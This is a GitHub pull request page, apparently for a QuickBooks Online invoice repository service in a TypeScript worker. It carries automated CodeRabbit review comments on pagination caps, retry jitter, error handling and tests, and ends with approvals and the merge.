93-110: Optional safety: prevent pathological infinite pagination loops

If an API bug ignores STARTPOSITION, the loop could spin. Add a simple page cap to fail fast with context.

       const allInvoices: Invoice[] = [];
-      let startPosition = 1;
+      let startPosition = 1;
       const maxResults = 100;
+      const maxPages = 1000; // defensive cap
+      let page = 0;

       while (true) {
@@
-        if (invoices.length === 0) break;
+        if (invoices.length === 0) break;
@@
-        startPosition += maxResults;
+        startPosition += maxResults;
+        page += 1;
+        if (page >= maxPages) {
+          throw new QuickBooksRepositoryError(
+            `QBORepository.getPaidInvoices failed: exceeded max pages (${maxPages})`
+          );
+        }
         if (invoices.length < maxResults) break;
       }
📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 5ffcf73 and 7387bf5.

📒 Files selected for processing (8)
  • workers/main/src/services/QBO/QBORepository.errorHandling.test.ts (1 hunks)
  • workers/main/src/services/QBO/QBORepository.integration.test.ts (1 hunks)
  • workers/main/src/services/QBO/QBORepository.test.ts (1 hunks)
  • workers/main/src/services/QBO/QBORepository.ts (1 hunks)
  • workers/main/src/services/QBO/index.test.ts (1 hunks)
  • workers/main/src/services/QBO/index.ts (1 hunks)
  • workers/main/src/services/QBO/types.test.ts (1 hunks)
  • workers/main/src/services/QBO/types.ts (1 hunks)
🧰 Additional context used
📓 Path-based instructions (2)
**/*.test.ts

📄 CodeRabbit Inference Engine (CLAUDE.md)

Tests are co-located with source files and should be named with the pattern *.test.ts

Files:

  • workers/main/src/services/QBO/index.test.ts
  • workers/main/src/services/QBO/QBORepository.test.ts
  • workers/main/src/services/QBO/types.test.ts
  • workers/main/src/services/QBO/QBORepository.errorHandling.test.ts
  • workers/main/src/services/QBO/QBORepository.integration.test.ts
**/*.{ts,tsx}

📄 CodeRabbit Inference Engine (CLAUDE.md)

**/*.{ts,tsx}: Follow the function naming pattern: prefix? + action (A) + high context (HC) + low context? (LC), using action verbs such as get, fetch, send, create, validate, handle, calculate, and boolean prefixes is, has, should
Use descriptive, unabbreviated variable names; use singular for single values and plural for collections; ensure variable names are context-specific

Files:

  • workers/main/src/services/QBO/index.test.ts
  • workers/main/src/services/QBO/index.ts
  • workers/main/src/services/QBO/QBORepository.test.ts
  • workers/main/src/services/QBO/types.test.ts
  • workers/main/src/services/QBO/QBORepository.errorHandling.test.ts
  • workers/main/src/services/QBO/QBORepository.integration.test.ts
  • workers/main/src/services/QBO/types.ts
  • workers/main/src/services/QBO/QBORepository.ts
🧠 Learnings (8)
📓 Common learnings
Learnt from: anatolyshipitz
PR: speedandfunction/automatization#34
File: workers/main/src/workflows/financial/FinancialReportFormatter.ts:3-7
Timestamp: 2025-05-30T17:57:21.010Z
Learning: User anatolyshipitz prefers to keep code implementations simple during early development stages rather than adding comprehensive error handling and validation. They consider extensive type annotations and error handling "redundant" when focusing on core functionality and testing.
📚 Learning: 2025-08-05T13:42:48.295Z
Learnt from: CR
PR: speedandfunction/automatization#0
File: CLAUDE.md:0-0
Timestamp: 2025-08-05T13:42:48.295Z
Learning: Applies to workers/main/vitest.config.ts : Test configuration should be defined in workers/main/vitest.config.ts

Applied to files:

  • workers/main/src/services/QBO/index.test.ts
  • workers/main/src/services/QBO/types.test.ts
📚 Learning: 2025-08-05T13:42:48.295Z
Learnt from: CR
PR: speedandfunction/automatization#0
File: CLAUDE.md:0-0
Timestamp: 2025-08-05T13:42:48.295Z
Learning: Applies to workers/main/tsconfig.json : TypeScript configuration should be defined in workers/main/tsconfig.json

Applied to files:

  • workers/main/src/services/QBO/index.ts
📚 Learning: 2025-07-29T15:56:21.892Z
Learnt from: CR
PR: speedandfunction/automatization#0
File: .cursor/rules/temporal-project-structure.mdc:0-0
Timestamp: 2025-07-29T15:56:21.892Z
Learning: New workers must not duplicate logic already present in shared modules; place all shared code in 'workers-shared/' to maximize reuse and maintainability.

Applied to files:

  • workers/main/src/services/QBO/index.ts
📚 Learning: 2025-07-29T15:56:21.892Z
Learnt from: CR
PR: speedandfunction/automatization#0
File: .cursor/rules/temporal-project-structure.mdc:0-0
Timestamp: 2025-07-29T15:56:21.892Z
Learning: Applies to workers/*/{workflows,activities,index.ts,README.md,types.ts} : All Temporal workers must be placed under 'workers/<worker-name>/' and include: 'workflows/' (workflow definitions), 'activities/' (activity implementations), 'index.ts' (worker entry point), 'types.ts' (optional), and 'README.md' (usage and development instructions).

Applied to files:

  • workers/main/src/services/QBO/index.ts
📚 Learning: 2025-08-05T13:42:48.295Z
Learnt from: CR
PR: speedandfunction/automatization#0
File: CLAUDE.md:0-0
Timestamp: 2025-08-05T13:42:48.295Z
Learning: Applies to **/*.test.ts : Tests are co-located with source files and should be named with the pattern *.test.ts

Applied to files:

  • workers/main/src/services/QBO/types.test.ts
📚 Learning: 2025-08-01T13:15:19.658Z
Learnt from: anatolyshipitz
PR: speedandfunction/automatization#78
File: workers/main/src/services/OAuth2/OAuth2TokenManager.ts:0-0
Timestamp: 2025-08-01T13:15:19.658Z
Learning: In workers/main/src/services/OAuth2/OAuth2TokenManager.ts, the user anatolyshipitz enhanced the OAuth2Error class with error code functionality, including a code property and ERROR_CODES constants. The OAuth2TokenRefreshProvider now throws typed errors with specific codes, and the OAuth2TokenManager uses these codes for conditional error handling instead of checking message text.

Applied to files:

  • workers/main/src/services/QBO/QBORepository.errorHandling.test.ts
📚 Learning: 2025-08-07T16:49:02.094Z
Learnt from: anatolyshipitz
PR: speedandfunction/automatization#85
File: workers/main/src/services/OAuth2/OAuth2Manager.ts:108-126
Timestamp: 2025-08-07T16:49:02.094Z
Learning: In workers/main/src/services/OAuth2/OAuth2Manager.ts, user anatolyshipitz considers structured error code checking for OAuth2 errors redundant, preferring the simpler string matching approach with message.includes('invalid_grant') for error detection during token refresh operations.

Applied to files:

  • workers/main/src/services/QBO/QBORepository.errorHandling.test.ts
🧬 Code Graph Analysis (1)
workers/main/src/services/QBO/index.test.ts (1)
workers/main/src/services/QBO/types.ts (2)
  • CustomerRevenueByRef (1-7)
  • Invoice (9-16)
⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (2)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: Service Availability Check
🔇 Additional comments (10)
workers/main/src/services/QBO/index.test.ts (1)

6-9: LGTM: export surface verification is clear and sufficient

Basic export checks for QBORepository are appropriate here.

workers/main/src/services/QBO/index.ts (1)

1-2: LGTM: simple, centralized exports

Facade re-exports look good and keep imports tidy.

workers/main/src/services/QBO/QBORepository.test.ts (2)

115-151: LGTM: aggregation over paid invoices by customer is correct

Mocks and expectations read well; structure mirrors QBO responses.


87-95: OAuth2Manager key prefix is correct

The QBORepository constructor prefixes qboConfig.companyId with qbo- (line 34), so the test’s expectation of 'qbo-test-company-id' aligns with the implementation. No changes required.

workers/main/src/services/QBO/types.ts (1)

1-16: LGTM: concise, accurate type definitions

Interfaces match expected QBO payload shapes and the aggregation result structure.

workers/main/src/services/QBO/QBORepository.errorHandling.test.ts (1)

168-188: Good coverage for malformed/null API responses returning empty aggregates

Verifies resilience to empty/malformed payloads by asserting {}. This matches repository behavior and keeps early-stage robustness without overengineering.

workers/main/src/services/QBO/QBORepository.integration.test.ts (1)

60-147: Aggregation scenarios are solid and readable

Tests accurately cover multiple invoices per customer and missing customer references grouped under unknown. Expectations match repository logic.

workers/main/src/services/QBO/QBORepository.ts (3)

29-54: Constructor, token manager wiring, and axios-retry setup look solid

Good separation of concerns: token acquisition, configured Axios instance with retry policy, and clear entrypoint via getEffectiveRevenue.


136-146: Date window calculation aligns with tests and is clear

Using current date and subtracting configurable months matches the integration test’s expectations. Naming is descriptive and action-oriented per guidelines.


148-158: Error wrapping strategy is consistent and testable

Double-wrapping ensures contextual trace in messages (as asserted in tests). This aligns with your preference for simple string-based detection (per retrieved learning #85).

coderabbitai[bot]
coderabbitai bot previously approved these changes Aug 8, 2025
@anatolyshipitz anatolyshipitz enabled auto-merge (squash) August 8, 2025 12:14
- Introduced `generateJitter` function in `utils.ts` to create cryptographically secure random jitter for retry delays, enhancing the reliability of retry logic.
- Updated `QBORepository` to utilize the new `generateJitter` function instead of a manual jitter calculation, improving code clarity and maintainability.
- Added unit tests for `generateJitter` to ensure it generates values within the expected range and behaves consistently across multiple calls.

These changes enhance the utility functions available for managing delays in API calls, contributing to a more robust integration with QuickBooks Online.
Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 4

🧹 Nitpick comments (2)
workers/main/src/common/utils.ts (1)

32-37: Guard against non-positive base delays (optional)

If baseDelay is 0 or negative, returning 0 is safer and avoids surprising negative jitter.

 export function generateJitter(baseDelay: number): number {
+  if (baseDelay <= 0) return 0;
   // ...
 }

Optional: if this jitter feeds setTimeout, consider returning an integer (e.g., Math.floor) to avoid fractional ms.

workers/main/src/common/utils.test.ts (1)

83-117: Optional: make “scaling” deterministic by mocking random source

If you want to assert proportional scaling, mock the RNG to return the same u32 for both calls.

Example:

import { randomBytes } from 'node:crypto';
vi.spyOn(require('node:crypto'), 'randomBytes')
  .mockReturnValueOnce(Buffer.from([0x12,0x34,0x56,0x78]))
  .mockReturnValueOnce(Buffer.from([0x12,0x34,0x56,0x78]));
// Now largeJitter should equal smallJitter * (largeDelay/smallDelay)

This avoids relying on probabilistic behavior in unit tests.

📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 7387bf5 and aa3ca1d.

📒 Files selected for processing (3)
  • workers/main/src/common/utils.test.ts (4 hunks)
  • workers/main/src/common/utils.ts (2 hunks)
  • workers/main/src/services/QBO/QBORepository.ts (1 hunks)
🚧 Files skipped from review as they are similar to previous changes (1)
  • workers/main/src/services/QBO/QBORepository.ts
🧰 Additional context used
📓 Path-based instructions (2)
**/*.test.ts

📄 CodeRabbit Inference Engine (CLAUDE.md)

Tests are co-located with source files and should be named with the pattern *.test.ts

Files:

  • workers/main/src/common/utils.test.ts
**/*.{ts,tsx}

📄 CodeRabbit Inference Engine (CLAUDE.md)

**/*.{ts,tsx}: Follow the function naming pattern: prefix? + action (A) + high context (HC) + low context? (LC), using action verbs such as get, fetch, send, create, validate, handle, calculate, and boolean prefixes is, has, should
Use descriptive, unabbreviated variable names; use singular for single values and plural for collections; ensure variable names are context-specific

Files:

  • workers/main/src/common/utils.test.ts
  • workers/main/src/common/utils.ts
🧠 Learnings (4)
📓 Common learnings
Learnt from: anatolyshipitz
PR: speedandfunction/automatization#34
File: workers/main/src/workflows/financial/FinancialReportFormatter.ts:3-7
Timestamp: 2025-05-30T17:57:21.010Z
Learning: User anatolyshipitz prefers to keep code implementations simple during early development stages rather than adding comprehensive error handling and validation. They consider extensive type annotations and error handling "redundant" when focusing on core functionality and testing.
📚 Learning: 2025-08-05T13:42:48.295Z
Learnt from: CR
PR: speedandfunction/automatization#0
File: CLAUDE.md:0-0
Timestamp: 2025-08-05T13:42:48.295Z
Learning: Applies to workers/main/vitest.config.ts : Test configuration should be defined in workers/main/vitest.config.ts

Applied to files:

  • workers/main/src/common/utils.test.ts
📚 Learning: 2025-08-05T13:42:48.295Z
Learnt from: CR
PR: speedandfunction/automatization#0
File: CLAUDE.md:0-0
Timestamp: 2025-08-05T13:42:48.295Z
Learning: Applies to **/*.test.ts : Tests are co-located with source files and should be named with the pattern *.test.ts

Applied to files:

  • workers/main/src/common/utils.test.ts
📚 Learning: 2025-08-05T13:42:48.295Z
Learnt from: CR
PR: speedandfunction/automatization#0
File: CLAUDE.md:0-0
Timestamp: 2025-08-05T13:42:48.295Z
Learning: Applies to workers/main/src/configs/** : Environment validation should be implemented in workers/main/src/configs/

Applied to files:

  • workers/main/src/common/utils.test.ts
  • workers/main/src/common/utils.ts
🧬 Code Graph Analysis (1)
workers/main/src/common/utils.test.ts (1)
workers/main/src/common/utils.ts (1)
  • generateJitter (32-37)
⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (2)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: Service Availability Check
🔇 Additional comments (4)
workers/main/src/common/utils.ts (1)

1-1: Default crypto import is safe with current TypeScript settings

Our workers/main/tsconfig.json already has esModuleInterop: true, which enables synthetic default imports for CommonJS modules. This means:

  • import crypto from 'crypto'; will work as expected.
  • No change to the import or usage in src/common/utils.ts is required.
workers/main/src/common/utils.test.ts (3)

8-8: LGTM: importing generateJitter where it’s used

Import grouping and co-location align with guidelines.


23-23: LGTM: harmless formatting tweak on mockImplementation

No behavioral change.


54-55: LGTM: expected error output adjusted

Matches the message constructed in utils.ts.

- Updated the `validateEnv` test to improve error message formatting and ensure proper handling of missing environment variables.
- Enhanced the `generateJitter` test cases by clarifying the expected behavior and consolidating multiple tests into a single comprehensive test for different baseDelay values.
- Removed redundant tests for jitter generation to streamline the testing process while maintaining coverage for expected functionality.

These changes improve the clarity and reliability of unit tests for environment validation and jitter generation utilities.
- Updated the calculation of the random value in the `generateJitter` function to use a more accurate divisor (0x100000000) for converting to the [0,1) range. This change ensures that the generated jitter values are correctly scaled, enhancing the reliability of the jitter generation for retry delays.

This modification improves the precision of the jitter utility, contributing to more effective delay management in API calls.
coderabbitai[bot]
coderabbitai bot previously approved these changes Aug 8, 2025
…y logic

- Enhanced the `QBORepository` class by introducing dedicated methods for handling HTTP and network retryable errors, improving the clarity and maintainability of the error management logic.
- Added new constants for HTTP status codes and retry configuration, ensuring consistent usage across the repository.
- Updated the `types.ts` file to include new interfaces and enums for better type safety and clarity in error handling.
- Refactored unit tests for `QBORepository` and related types to cover new functionality and ensure robust testing of error scenarios.

These changes contribute to a more resilient integration with QuickBooks Online, enhancing the application's ability to manage API call failures effectively.
- Added a new line to the `calculateRetryDelay` method in the `QBORepository` class to improve the clarity of the rate limit delay calculation.
- Included an additional line in the `getRateLimitDelay` method to ensure proper handling of the `retry-after` header, enhancing the robustness of the retry logic.

These changes contribute to a more resilient integration with QuickBooks Online by refining the error handling and retry mechanisms.
@sonarqubecloud
Copy link

sonarqubecloud bot commented Aug 8, 2025

Copy link
Contributor

@killev killev left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM

@anatolyshipitz anatolyshipitz merged commit 0bb5560 into main Aug 11, 2025
17 of 18 checks passed
@anatolyshipitz anatolyshipitz deleted the feature/65031_qbo_service branch August 11, 2025 10:26
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants